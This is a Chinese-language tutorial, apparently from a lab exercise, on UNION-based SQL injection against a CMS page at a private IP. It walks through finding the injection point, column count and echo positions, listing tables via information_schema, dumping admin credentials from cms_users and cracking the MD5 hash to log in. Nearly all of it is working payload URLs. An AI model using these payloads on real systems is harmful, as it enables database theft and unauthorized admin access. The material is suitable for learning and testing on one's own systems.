查询
语法
select… union select…
条件
1.查询的两张表具有列数
2.查询的两张表具有相同的字段
过程
探测网站是否存在注入点
打开网站主页,随便打开一个一条新闻
http://192.168.36.131/cms/show.php?id=33
可以看到URL中出现id,改变id值,页面出现跳转
http://192.168.36.131/cms/show.php?id=34
查询当前数据库中数据表的列数
使用order by查询当前数据库中数据表的列数
http://192.168.36.131/cms/show.php?id=34 order by 15
此处页面正常显示
查找回显位
以下接着进行联合查询
http://192.168.36.131/cms/show.php?id=34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
页面没有回显,将id的值置为假
http://192.168.36.131/cms/show.php?id=-34 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
发现有2个回显位(3号位和11号位)
查询当前数据库中数据表的列数
http://192.168.36.131/cms/show.php?id=-34 union select 1,2,hex(table_name),4,5,6,7,8,9,10,database(),12,13,14,15 from information_schema.tables where table_schema=database()
对表名进行解码(十六进制)
(636D735F61727469636C65)转换得到当前表名(cms_article)
为了得到当前数据库的所有表名,使用groupconcat()
http://192.168.36.131/cms/show.php?id=-34 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,database(),12,13,14,15 from information_schema.tables where table_schema=database()
(636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273)十六进制转换得到(cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users)
查询数据后台账号和密码
根据得到的数据表名,猜想数据库账号和密码存储在cms_users中,对cms_users进行查询
http://192.168.36.131/cms/show.php?id=-34 union select 1,2,concat(username,0x2a,password),4,5,6,7,8,9,10,database(),12,13,14,15 from cms_users
MD5解码得到密码是123456
至此成功登陆网站后台